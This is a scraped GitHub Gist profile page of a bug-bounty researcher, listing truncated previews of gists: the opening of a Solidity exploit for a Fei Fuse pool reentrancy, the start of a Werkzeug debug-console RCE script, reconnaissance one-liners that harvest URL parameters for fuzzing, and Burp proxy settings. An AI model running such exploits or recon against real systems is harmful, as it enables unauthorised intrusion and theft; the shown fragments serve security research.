Skip to content

Instantly share code, notes, and snippets.

View arbazkiraak's full-sized avatar
✨
Focusing

Arbaz Hussain arbazkiraak

✨
Focusing
370 followers · 1.1k following
View GitHub Profile
@arbazkiraak
arbazkiraak / Exploit.sol
Last active June 21, 2023 12:31
Fei fETH-146 Fuse Pool exploit - Reentrancy on doTransferOut() while borrowing.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "hardhat/console.sol";
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
@arbazkiraak
arbazkiraak / keybase.md
Created August 11, 2021 09:56

arbaz

Keybase proof

I hereby claim:

  • I am arbazkiraak on github.
  • I am arbaz (https://keybase.io/arbaz) on keybase.
  • I have a public key ASAG2O0gUCxdB0O52Bvy7VySMr1YyXE4GG5wzX2p5_kp8Qo

To claim this, I am signing this object:

@arbazkiraak
arbazkiraak / api-linkfinder.sh
Created August 7, 2021 14:30 — forked from nullenc0de/api-linkfinder.sh
Exports links and params from API documentation
wget https://gist.githubusercontent.com/nullenc0de/bb16be959686295b3b1caff519cc3e05/raw/2016dc0e692821ec045edd5ae5c0aba5ec9ec3f1/api-linkfinder.yaml
echo https://stripe.com/docs/api | hakrawler -t 500 -d 10 |nuclei -t ./linkfinder.yaml -o api.txt
cat api.txt |grep url_params |cut -d ' ' -f 7 |tr , '\n' | tr ] '\n' | tr [ '\n' |tr -d '"' |tr -d "'" |sort -u > api_params.txt
cat api.txt |grep relative_links |cut -d ' ' -f 7 |tr , '\n' | tr ] '\n' | tr [ '\n' |tr -d '"' |tr -d "'" |sort -u > api_link_finder.txt
@arbazkiraak
arbazkiraak / m_data_feed.py
Created May 3, 2021 07:49
import numpy as np
import pandas as pd
from binance.helpers import *
from binance.client import Client
from binance.websockets import BinanceSocketManager
client = Client('API','SECRET')
bm = BinanceSocketManager(client)
@arbazkiraak
arbazkiraak / werkzeug_rce.py
Created December 17, 2020 12:37
https://github.com/pallets/werkzeug
import requests
import sys
import re
import urllib,bs4
response = requests.get('%s/console' % (sys.argv[1]))
if "Werkzeug powered traceback interpreter" not in response.text:
print("[-] Debug is not enabled")
sys.exit(-1)
@arbazkiraak
arbazkiraak / s3_bucket_region_checker.py
Created December 13, 2020 23:21
#!/usr/bin/env python
import boto3,sys,time,requests
import botocore.exceptions
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import datetime,os
os.environ['AWS_DEFAULT_REGION'] = 'us-east-1'
s3 = boto3.resource('s3')
@arbazkiraak
arbazkiraak / foxyproxyBB.json
Created October 2, 2020 04:18 — forked from 0xatul/foxyproxyBB.json
firefox foxy proxy settings for BB stuff
{
"84kr3q1592995213323": {
"type": 1,
"color": "#cc883a",
"title": "Burp",
"active": true,
"address": "127.0.0.1",
"port": 8080,
"proxyDNS": false,
"username": "",
@arbazkiraak
arbazkiraak / bb-foxyproxy-pattern.json
Created July 2, 2020 18:05 — forked from ignis-sec/bb-foxyproxy-pattern.json
foxyproxy pattern (install Storage area explorer and import this file, foxyproxy import/export is broken)
{
"30523382": {
"className": "Proxy",
"data": {
"bypassFPForPAC": true,
"color": "#f57575",
"configUrl": "",
"credentials": "U2FsdGVkX1+tf3lvD5TBClW2UUSZAT4AWsCo/i0kU2M=",
"cycle": false,
"enabled": true,
@arbazkiraak
arbazkiraak / gist:4defc9a0262c2ab115a996f3496be022
Created April 16, 2020 04:46 — forked from screetsec/gist:6ee948503960f1b9d4b7b8465aea2d73
One Liner to get Hidden URL Parameter from Passive scan using Web Archive. Regex using DFA Engine, Support and Collecting URL with multi Parameter to Fuzzing & Removing Duplicate
curl -s "http://web.archive.org/cdx/search/cdx?url=*.bugcrowd.com/*&output=text&fl=original&collapse=urlkey" | grep -P "=" | sed "/\b\(jpg\|png\|js\|svg\|css\|gif\|jpeg\|woff\|woff2\)\b/d" > Output.txt ; for i in $(cat Output.txt);do URL="${i}"; LIST=(${URL//[=&]/=FUZZ&}); echo ${LIST} | awk -F'=' -vOFS='=' '{$NF="FUZZ"}1;' >> Passive_Collecting_URLParamter.txt ; done ; rm Output.txt ; sort -u Passive_Collecting_URLParamter.txt > Passive_Collecting_URLParamter_Uniq.txt
@arbazkiraak
arbazkiraak / send_urls_to_burp
Created February 20, 2020 12:03
Send Urls to Burp
#!/usr/bin/python3
import requests,sys
import urllib3,queue,threading
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
urls_inp = sys.argv[1]